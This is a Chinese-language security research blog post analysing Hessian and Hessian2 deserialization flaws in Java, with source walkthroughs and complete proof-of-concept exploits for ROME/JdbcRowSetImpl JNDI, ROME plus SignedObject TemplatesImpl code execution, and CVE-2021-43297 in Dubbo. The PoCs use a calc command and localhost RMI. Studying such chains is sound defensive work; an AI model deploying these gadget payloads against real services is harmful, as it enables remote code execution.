Java安全之Hessian反序列化

2023-08-26 15:21:00 浏览数 (1)

简介

https://juejin.cn/post/6991473304011800590

Hessian是一个基于HTTP协议采用二进制格式传输的RPC服务框架,相对传统的SOAP web service,更轻捷。Hessian是Apache Dubbo在Java语言的实现,该框架还提供了Golang、Rust、Node.js 等多语言实现。Hessian 是一种动态类型、二进制序列化和 Web 服务协议,专为面向对象的传输而设计。

JDK自带的序列化方式,使用起来非常方便,只需要序列化的类实现了Serializable接口即可。JDK序列化会把对象类的描述和所有属性的元数据都序列化为字节流,另外继承的元数据也会序列化,所以导致序列化的元素较多且字节流很大,但是由于序列化了所有信息所以相对而言更可靠。但是如果只需要序列化属性的值时就比较浪费。其次,由于这种方式是JDK自带,无法被多个语言通用。

和JDK自带的序列化方式类似,Hessian采用的也是二进制协议,只不过Hessian序列化之后,字节数更小,性能更优。目前Hessian已经出到2.0版本,相较于1.0的Hessian性能更优。相较于JDK自带的序列化,Hessian的设计目标更明确。

Hessian 协议具有以下设计目标:

  • 它必须自我描述序列化类型,即不需要外部架构或接口定义。
  • 它必须与语言无关,包括支持脚本语言。
  • 它必须在一次传递中可读或可写。
  • 它必须尽可能紧凑。
  • 它必须简单,以便可以有效地测试和实施。
  • 它必须尽可能快。
  • 它必须支持 Unicode 字符串。
  • 它必须支持 8 位二进制数据,而无需转义或使用附件。
  • 它必须支持加密、压缩、签名和事务上下文信封( transaction context envelopes )。

测试环境

java version “1.8.0_71”

pom.xml

代码语言:javascript复制
<dependency>
    <groupId>com.caucho</groupId>
    <artifactId>hessian</artifactId>
    <version>4.0.63</version>
</dependency>
<dependency>
    <groupId>rome</groupId>
    <artifactId>rome</artifactId>
    <version>1.0</version>
</dependency>

示例

先写一个简单的 JavaBean 类

代码语言:javascript复制
public class Person implements Serializable {
    private String name;
    private int age;
    private String telNumber;

    public Person() { }

    public Person(String name, int age, String telNumber) {
        this.name = name;
        this.age = age;
        this.telNumber = telNumber;
    }

    public String getName() { return name; }

    public void setName(String name) { this.name = name; }

    public int getAge() { return age; }

    public void setAge(int age) { this.age = age; }
    
    public String getTelNumber() { return telNumber; }
    
    public void setTelNumber(String telNumber) { this.telNumber = telNumber; }
}

然后用Hessian序列化反序列化一手

代码语言:javascript复制
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.Base64;

public class HessianTest {
    public static void main(String[] args) throws IOException {
        Person person = new Person("ph0ebus",1,"12345678901");

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        HessianOutput hessianOutput = new HessianOutput(byteArrayOutputStream);
        hessianOutput.writeObject(person);
        System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())));

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        HessianInput hessianInput = new HessianInput(byteArrayInputStream);
        System.out.println(hessianInput.readObject());
    }
}

可以发现和原生jdk序列化反序列化的使用方法很类似

利用原理

Java 的Map对象在进行 Hessian 反序列化过程中,会调用com.caucho.hessian.io.Deserializer#readMap()方法来恢复对象,其中会调用HashMap#put(),这里就存在这安全隐患。

跟进HessianInput#readObject()

代码语言:javascript复制
public Object readObject() throws IOException {
        int tag = this.read();
        String type;
        int data;
        switch (tag) {
            // ...
            case 77:
                type = this.readType();
                return this._serializerFactory.readMap(this, type);
            // ...
        }
}

可以看到它会读取字节流的第一个字节作为判断依据,查阅文档可以发现字符M代表着类型HashMap

从而调用readMap()方法

代码语言:javascript复制
public Object readMap(AbstractHessianInput in, String type) throws HessianProtocolException, IOException {
    Deserializer deserializer = this.getDeserializer(type);
    if (deserializer != null) {
        return deserializer.readMap(in);
    } else if (this._hashMapDeserializer != null) {
        return this._hashMapDeserializer.readMap(in);
    } else {
        this._hashMapDeserializer = new MapDeserializer(HashMap.class);
        return this._hashMapDeserializer.readMap(in);
    }
}

这里需要进到最后一个else语句,调用MapDeserializer#readMap()

代码语言:javascript复制
public Object readMap(AbstractHessianInput in) throws IOException {
    Object map;
    if (this._type == null) {
        map = new HashMap();
    } else if (this._type.equals(Map.class)) {
        map = new HashMap();
    } else if (this._type.equals(SortedMap.class)) {
        map = new TreeMap();
    } else {
        try {
            map = (Map)this._ctor.newInstance();
        } catch (Exception var4) {
            throw new IOExceptionWrapper(var4);
        }
    }

    in.addRef(map);

    while(!in.isEnd()) {
        ((Map)map).put(in.readObject(), in.readObject());
    }

    in.readEnd();
    return map;
}

可以看到能够调用HashMap#put()

利用链

ROME 之 JdbcRowSetImpl 链

调用 HashMap#put() 会将 Map 中的 key 与 value 传入,这将会触发 key 的hashCode()方法,这个在URLDNS链有分析,接着就可以触发ROME链调用任意类getter方法,这里是JdbcRowSetImpl#getDatabaseMetaData()

Poc

代码语言:javascript复制
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class JdbcRowSetImplTest {
    public static void main(String[] args) throws Exception {
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        String url = "rmi://localhost:1099/aa";
        jdbcRowSet.setDataSourceName(url);

        ToStringBean bean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
        ObjectBean objectBean = new ObjectBean(String.class, "whatever");
        HashMap map = new HashMap();
        map.put(objectBean, "");
        setFieldValue(objectBean, "_equalsBean", new EqualsBean(ToStringBean.class, bean));

        //序列化
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        HessianOutput hessianOutput = new HessianOutput(byteArrayOutputStream);
        hessianOutput.writeObject(map);
        hessianOutput.close();
        System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())));

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        HessianInput hessianInput = new HessianInput(byteArrayInputStream);
        hessianInput.readObject();
        hessianInput.close();
    }

    public static void setFieldValue(Object obj, String fieldname, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldname);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

RMI服务端的代码不再赘述

既然ROME链可以用,那ROME链的TemplatesImpl利用链能否利用呢?

尽管调用链看上去是毫无破绽的,但这里需要注意Hessian序列化的特性,它不会序列化transient关键字修饰的属性

代码语言:javascript复制
private transient TransformerFactoryImpl _tfactory = null;

而 TemplatesImpl 利用链的关键属性 _tfactory 被该关键词修饰,导致反序列化后对象的_tfactory属性值为null,因为TemplatesImpl#defineTransletClasses() 方法里有调用到 _tfactory.getExternalExtensionsMap() 如果是null会出错,因此无法直接利用此链

But,如果不用Hessian反序列化呢?那不就可以利用咯!这就得用到二次反序列化大法了,这里先简单介绍一种,后边再来总结。

ROME+SignObject二次反序列化

java.security.SignedObject类有一个令人满意的getter方法getObject()

代码语言:javascript复制
public Object getObject()
        throws IOException, ClassNotFoundException
{
    // creating a stream pipe-line, from b to a
    ByteArrayInputStream b = new ByteArrayInputStream(this.content);
    ObjectInput a = new ObjectInputStream(b);
    Object obj = a.readObject();
    b.close();
    a.close();
    return obj;
}

content通过构造方法可控,这里就可以调用任意字节流的原生反序列化,并返回反序列化后的对象,接下来就是ROME反序列化链了,这里以BadAttributeValueExpException触发ToStringBean#toString()为例

Poc

代码语言:javascript复制
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;

public class SignObjectTest2 {
    public static void main(String[] args) throws Exception {
        String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        // 创建EvilTest对象,父类为AbstractTranslet,注入了payload进静态代码块
        ClassPool classPool = ClassPool.getDefault();  // 返回默认的类池
        classPool.appendClassPath(AbstractTranslet);  // 添加AbstractTranslet的搜索路径
        CtClass payload = classPool.makeClass("EvilTest");  // 创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));  // 设置EvilTest的父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec("calc");");  // 创建一个static方法,并插入runtime
        byte[] code = payload.toBytecode();
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj,"_name","ph0ebus");
        setFieldValue(obj,"_bytecodes",new byte[][]{code});
        setFieldValue(obj,"_class",null);

        ToStringBean bean = new ToStringBean(Templates.class, obj);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
        setFieldValue(badAttributeValueExpException,"val",bean);

        KeyPairGenerator keyPairGenerator;
        keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");
        // 设置二次反序列化入口
        SignedObject signedObject = new SignedObject(badAttributeValueExpException, privateKey, signingEngine);

        // 下面是常规构造
        ToStringBean toStringBean2 = new ToStringBean(SignedObject.class, signedObject);
        ObjectBean objectBean2 = new ObjectBean(String.class, "whatever");

        HashMap map = new HashMap();
        map.put(objectBean2, "");

        setFieldValue(objectBean2, "_equalsBean", new EqualsBean(ToStringBean.class, toStringBean2));

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        HessianOutput hessianOutput = new HessianOutput(byteArrayOutputStream);
        hessianOutput.writeObject(map);
        hessianOutput.close();
        System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())));

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        HessianInput hessianInput = new HessianInput(byteArrayInputStream);
        hessianInput.readObject();
        hessianInput.close();
    }
    public static void setFieldValue(Object obj, String fieldname, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldname);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

这条调用链还可以缩短一手

注意ToStringBean#toString()这个方法,我们前面只利用了可以调用任意类getter方法这个点,但调用getter方法后返回的对象还调用了printProperty()方法

代码语言:javascript复制
private String toString(String prefix) {
    StringBuffer sb = new StringBuffer(128);

    try {
        PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
        if (pds != null) {
            for(int i = 0; i < pds.length;   i) {
                String pName = pds[i].getName();
                Method pReadMethod = pds[i].getReadMethod();
                if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
                    Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
                    this.printProperty(sb, prefix   "."   pName, value);
                }
            }
        }
    } catch (Exception var8) {
        sb.append("nnEXCEPTION: Could not complete "   this._obj.getClass()   ".toString(): "   var8.getMessage()   "n");
    }

    return sb.toString();
}

跟进一手printProperty()方法,发现经过对象类型判断后可以调用到该对象的toString()方法

代码语言:javascript复制
private void printProperty(StringBuffer sb, String prefix, Object value) {
    if (value == null) {
        sb.append(prefix).append("=nulln");
    } else if (value.getClass().isArray()) {
        this.printArrayProperty(sb, prefix, value);
    } else {
        Iterator i;
        String cPrefix;
        Object cValue;
        String[] tsInfo;
        Stack stack;
        String s;
        if (value instanceof Map) {
            // ...
        } else if (value instanceof Collection) {
            // ...
        } else {
            String[] tsInfo = new String[]{prefix, null};
            Stack stack = (Stack)PREFIX_TL.get();
            stack.push(tsInfo);
            String s = value.toString();
            stack.pop();
            if (tsInfo[1] == null) {
                sb.append(prefix).append("=").append(s).append("n");
            } else {
                sb.append(s);
            }
        }
    }

}

结合SignObject#getObject(),我们就可以调用满足条件的可控对象的toString()方法,恰好ToStringBean类可以通过上面的类型判断,于是链子就出来了

Poc

代码语言:javascript复制
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;

public class SignObjectTest {
    public static void setFieldValue(Object obj, String fieldname, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldname);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        // 创建EvilTest对象,父类为AbstractTranslet,注入了payload进静态代码块
        ClassPool classPool = ClassPool.getDefault();  // 返回默认的类池
        classPool.appendClassPath(AbstractTranslet);  // 添加AbstractTranslet的搜索路径
        CtClass payload = classPool.makeClass("EvilTest");  // 创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));  // 设置EvilTest的父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec("calc");");  // 创建一个static方法,并插入runtime
        byte[] code = payload.toBytecode();
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_name", "whatever");
        setFieldValue(obj, "_class", null);
        setFieldValue(obj, "_bytecodes", new byte[][]{code});

        ToStringBean toStringBean = new ToStringBean(Templates.class, obj);

        KeyPairGenerator keyPairGenerator;
        keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");
        // 设置二次反序列化入口
        SignedObject signedObject = new SignedObject(toStringBean, privateKey, signingEngine);

        // 下面是常规构造
        ToStringBean toStringBean2 = new ToStringBean(SignedObject.class, signedObject);
        ObjectBean objectBean2 = new ObjectBean(String.class, "whatever");

        HashMap map = new HashMap();
        map.put(objectBean2, "");

        setFieldValue(objectBean2, "_equalsBean", new EqualsBean(ToStringBean.class, toStringBean2));

        //序列化
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        HessianOutput hessianOutput = new HessianOutput(byteArrayOutputStream);
        hessianOutput.writeObject(map);
        hessianOutput.close();
        System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())));

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        HessianInput hessianInput = new HessianInput(byteArrayInputStream);
        hessianInput.readObject();
        hessianInput.close();
    }
}
SpringPartiallyComparableAdvisorHolder链

前面都是利用HashMap#put()方法调用到hashCode()方法进行利用,这里换一个攻击面,put()方法会调用putVal()方法,而putVal方法可以调用任意类的equals方法,从而引发安全漏洞,具体前面ROME反序列化的XString链有所介绍

依赖于springframework

首先要调用到equals方法需要两对数据的key的hashcode相等,且key不同才能进行比较操作,之前是利用HashMap构造,现在有了springframework我们换一个类构造,这个类就是org.springframework.aop.target.HotSwappableTargetSource

跟进HotSwappableTargetSource#hashCode()

代码语言:javascript复制
public int hashCode() {
    return HotSwappableTargetSource.class.hashCode();
}

可以发现其hashCode值与key无关,于是调用HotSwappableTargetSource#equals()

代码语言:javascript复制
public boolean equals(Object other) {
    return this == other || other instanceof HotSwappableTargetSource && this.target.equals(((HotSwappableTargetSource)other).target);
}

这里this.target是构造方法传入的可控对象,也就是可以调用任意类的equals方法,那么就可以使用XString链调用任意类的toString()方法了

代码语言:javascript复制
public boolean equals(Object obj2)
{

if (null == obj2)
  return false;

  // In order to handle the 'all' semantics of
  // nodeset comparisons, we always call the
  // nodeset function.
else if (obj2 instanceof XNodeSet)
  return obj2.equals(this);
else if(obj2 instanceof XNumber)
    return obj2.equals(this);
else
  return str().equals(obj2.toString());
}

分析到这里,我们回到了一个经典问题,如何通过调用任意类的toString方法进行恶意利用?

这里通过springframework的类构造一条链子出来,最终实现 JNDI 注入

代码语言:javascript复制
lookup:417, InitialContext (javax.naming)
doInContext:155, JndiTemplate$1 (org.springframework.jndi)
execute:87, JndiTemplate (org.springframework.jndi)
lookup:152, JndiTemplate (org.springframework.jndi)
lookup:179, JndiTemplate (org.springframework.jndi)
lookup:95, JndiLocatorSupport (org.springframework.jndi)
doGetSingleton:218, SimpleJndiBeanFactory (org.springframework.jndi.support)
doGetType:226, SimpleJndiBeanFactory (org.springframework.jndi.support)
getType:191, SimpleJndiBeanFactory (org.springframework.jndi.support)
getOrder:127, BeanFactoryAspectInstanceFactory (org.springframework.aop.aspectj.annotation)
getOrder:216, AbstractAspectJAdvice (org.springframework.aop.aspectj)
getOrder:80, AspectJPointcutAdvisor (org.springframework.aop.aspectj)
toString:151, AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder (org.springframework.aop.aspectj.autoproxy)

跟进org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder#toString

代码语言:javascript复制
public String toString() {
    StringBuilder sb = new StringBuilder();
    Advice advice = this.advisor.getAdvice();
    sb.append(ClassUtils.getShortName(advice.getClass()));
    sb.append(": ");
    if (this.advisor instanceof Ordered) {
        sb.append("order ").append(((Ordered)this.advisor).getOrder()).append(", ");
    }

    if (advice instanceof AbstractAspectJAdvice) {
        AbstractAspectJAdvice ajAdvice = (AbstractAspectJAdvice)advice;
        sb.append(ajAdvice.getAspectName());
        sb.append(", declaration order ");
        sb.append(ajAdvice.getDeclarationOrder());
    }

    return sb.toString();
}

继续跟进AspectJPointcutAdvisor#getOrder()

代码语言:javascript复制
public int getOrder() {
    return this.order != null ? this.order : this.advice.getOrder();
}

这里this.advice根据其构造方法,是AspectJAroundAdvice的对象,继续跟进AspectJAroundAdvice#getOrder()

代码语言:javascript复制
public int getOrder() {
    return this.aspectInstanceFactory.getOrder();
}

这里this.aspectInstanceFactory是AspectInstanceFactory接口类,而BeanFactoryAspectInstanceFactory是该接口的实现类,因此可以调用到BeanFactoryAspectInstanceFactory#getOrder()

代码语言:javascript复制
public int getOrder() {
    Class<?> type = this.beanFactory.getType(this.name);
    if (type != null) {
        return Ordered.class.isAssignableFrom(type) && this.beanFactory.isSingleton(this.name) ? ((Ordered)this.beanFactory.getBean(this.name)).getOrder() : OrderUtils.getOrder(type, Integer.MAX_VALUE);
    } else {
        return Integer.MAX_VALUE;
    }
}

这里可以调用SimpleJndiBeanFactory#getType()->SimpleJndiBeanFactory#doGetType()->SimpleJndiBeanFactory#doGetSingleton()

代码语言:javascript复制
private <T> T doGetSingleton(String name, Class<T> requiredType) throws NamingException {
    synchronized(this.singletonObjects) {
        Object jndiObject;
        if (this.singletonObjects.containsKey(name)) {
            jndiObject = this.singletonObjects.get(name);
            if (requiredType != null && !requiredType.isInstance(jndiObject)) {
                throw new TypeMismatchNamingException(this.convertJndiName(name), requiredType, jndiObject != null ? jndiObject.getClass() : null);
            } else {
                return jndiObject;
            }
        } else {
            jndiObject = this.lookup(name, requiredType);
            this.singletonObjects.put(name, jndiObject);
            return jndiObject;
        }
    }
}

然后进入JndiLocatorSupport#lookup()从这个方法可以调用到关键的JndiTemplate#lookp()

代码语言:javascript复制
public Object lookup(final String name) throws NamingException {
    if (this.logger.isDebugEnabled()) {
        this.logger.debug("Looking up JNDI object with name ["   name   "]");
    }

    return this.execute(new JndiCallback<Object>() {
        public Object doInContext(Context ctx) throws NamingException {
            Object located = ctx.lookup(name);
            if (located == null) {
                throw new NameNotFoundException("JNDI object with ["   name   "] not found: JNDI implementation returned null");
            } else {
                return located;
            }
        }
    });
}

终于到达 JNDI 注入处InitialContext#lookup()

链子分析结束!

Poc待完善…

Hessian2

对于 Hessian2 协议,Java 的HashMap对象经过序列化后首位字节由M变为了H,对应 ascii 码 72,其他的区别不大

pom.xml

代码语言:javascript复制
<dependency>
    <groupId>org.apache.dubbo</groupId>
    <artifactId>dubbo-serialization-hessian2</artifactId>
    <version>2.7.14</version>
    <scope>test</scope>
</dependency>

示例

代码语言:javascript复制
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.Base64;

public class Hessian2Test {
    public static void main(String[] args) throws IOException {
        Person person = new Person("ph0ebus", 19, "12345678901");

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
        hessian2Output.writeObject(person);
        hessian2Output.close();
        System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())));

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
        System.out.println(hessian2Input.readObject());
        hessian2Input.close();
    }
}
Apache Dubbo Hessian2 异常处理时反序列化(CVE-2021-43297)

字符串和对象拼接导致隐式触发了该对象的 toString 方法, 从而引发后续一系列的利用方式

问题主要出在 Hessian2Input 的 expect 方法

代码语言:javascript复制
protected IOException expect(String expect, int ch) throws IOException {
    if (ch < 0) {
        return this.error("expected "   expect   " at end of file");
    } else {
        --this._offset;

        try {
            int offset = this._offset;
            String context = this.buildDebugContext(this._buffer, 0, this._length, offset);
            Object obj = this.readObject();
            return obj != null ? this.error("expected "   expect   " at 0x"   Integer.toHexString(ch & 255)   " "   obj.getClass().getName()   " ("   obj   ")n  "   context   "") : this.error("expected "   expect   " at 0x"   Integer.toHexString(ch & 255)   " null");
        } catch (Exception var6) {
            log.log(Level.FINE, var6.toString(), var6);
            return this.error("expected "   expect   " at 0x"   Integer.toHexString(ch & 255));
        }
    }
}

那么就要关注哪些方法调用了这个expect 方法,可以发现蛮多read打头的方法都调用了,那就找一条能用的就行,这里选用的是readString()

代码语言:javascript复制
public String readString() throws IOException {
    int tag = this.read();
    int ch;
    switch (tag) {
        case 0:
        case 1:
        case 2:
        case 3:
        case 4:
        
        // ...
            
        case 31:
            this._isLastChunk = true;
            this._chunkLength = tag - 0;
            this._sbuf.setLength(0);

            while((ch = this.parseChar()) >= 0) {
                this._sbuf.append((char)ch);
            }

            return this._sbuf.toString();
        case 32:
        case 33:
        case 34:
        case 35:
        case 36:
        case 37:
        case 38:
        case 39:
        case 40:
        case 41:
        case 42:
        case 43:
        case 44:
        case 45:
        case 46:
        case 47:
        case 52:
        case 53:
        case 54:
        case 55:
        case 64:
        case 65:
        case 66:
        case 67:
        case 69:
        case 71:
        case 72:
        case 74:
        case 75:
        case 77:
        case 79:
        case 80:
        case 81:
        case 85:
        case 86:
        case 87:
        case 88:
        case 90:
        case 96:
        case 97:
        case 98:
        
        // ...
            
        case 127:
        default:
            throw this.expect("string", tag);
        case 48:
        case 49:
            
        // ...
    }
}

这里代码截取了较关键的一部分,可以看出由于java中switch语句中case…:标签语法采用的是穿透语义(fall-through semantics),也就是如果case控制的语句体后面不写break,不判断下一个case值,向下运行,直到遇到break,或者整体switch语句结束

也就是说如果tag满足case 32:及以下到default:的任何一个条件或者完全不满足任何一个default:之前的条件语句,就能调用到expect()方法

查看哪里调用了readString(),可以找到readObjectDefinition(),恰好这个方法当tag等于67时会被readObject()调用,那这里就连起来了

代码语言:javascript复制
private void readObjectDefinition(Class<?> cl) throws IOException {
    String type = this.readString();
    int len = this.readInt();
    SerializerFactory factory = this.findSerializerFactory();
    Deserializer reader = factory.getObjectDeserializer(type, (Class)null);
    Object[] fields = reader.createFields(len);
    String[] fieldNames = new String[len];

    for(int i = 0; i < len;   i) {
        String name = this.readString();
        fields[i] = reader.createField(name);
        fieldNames[i] = name;
    }

    ObjectDefinition def = new ObjectDefinition(type, reader, fields, fieldNames);
    this._classDefs.add(def);
}

接下来就是如何让tag为67了,可以重写 writeString 指定第一次 read 的 tag 为 67, 还可以给序列化得到的bytes数组前加一个67

Poc

代码语言:javascript复制
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.ToStringBean;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.sql.SQLException;

public class CVE_2021_43297 {
    public static void main(String[] args) throws IOException, SQLException {
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        String url = "rmi://localhost:1099/aa";
        jdbcRowSet.setDataSourceName(url);
        ToStringBean bean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
        hessian2Output.writeObject(bean);
        hessian2Output.close();
        byte[] data = byteArrayOutputStream.toByteArray();
        byte[] poc = new byte[data.length   1];
        System.arraycopy(new byte[]{67}, 0, poc, 0, 1);
        System.arraycopy(data, 0, poc, 1, data.length);

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(poc);
        Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
        System.out.println(hessian2Input.readObject());
        hessian2Input.close();
    }
}

这样就可以调用任意类的toString()方法

参考链接: Java安全-Hessian | jiang Hessian CVE-2021-43297 & D3CTF 2023 ezjava | X1r0z Hessian 反序列化及相关利用链 | Longofo@知道创宇404实验室 被我忘掉的Hessian反序列化 | Boogipop Hessian反序列化机制与利用链构造 | M1sery

本文采用CC-BY-SA-3.0协议,转载请注明出处 Author: ph0ebus

0 人点赞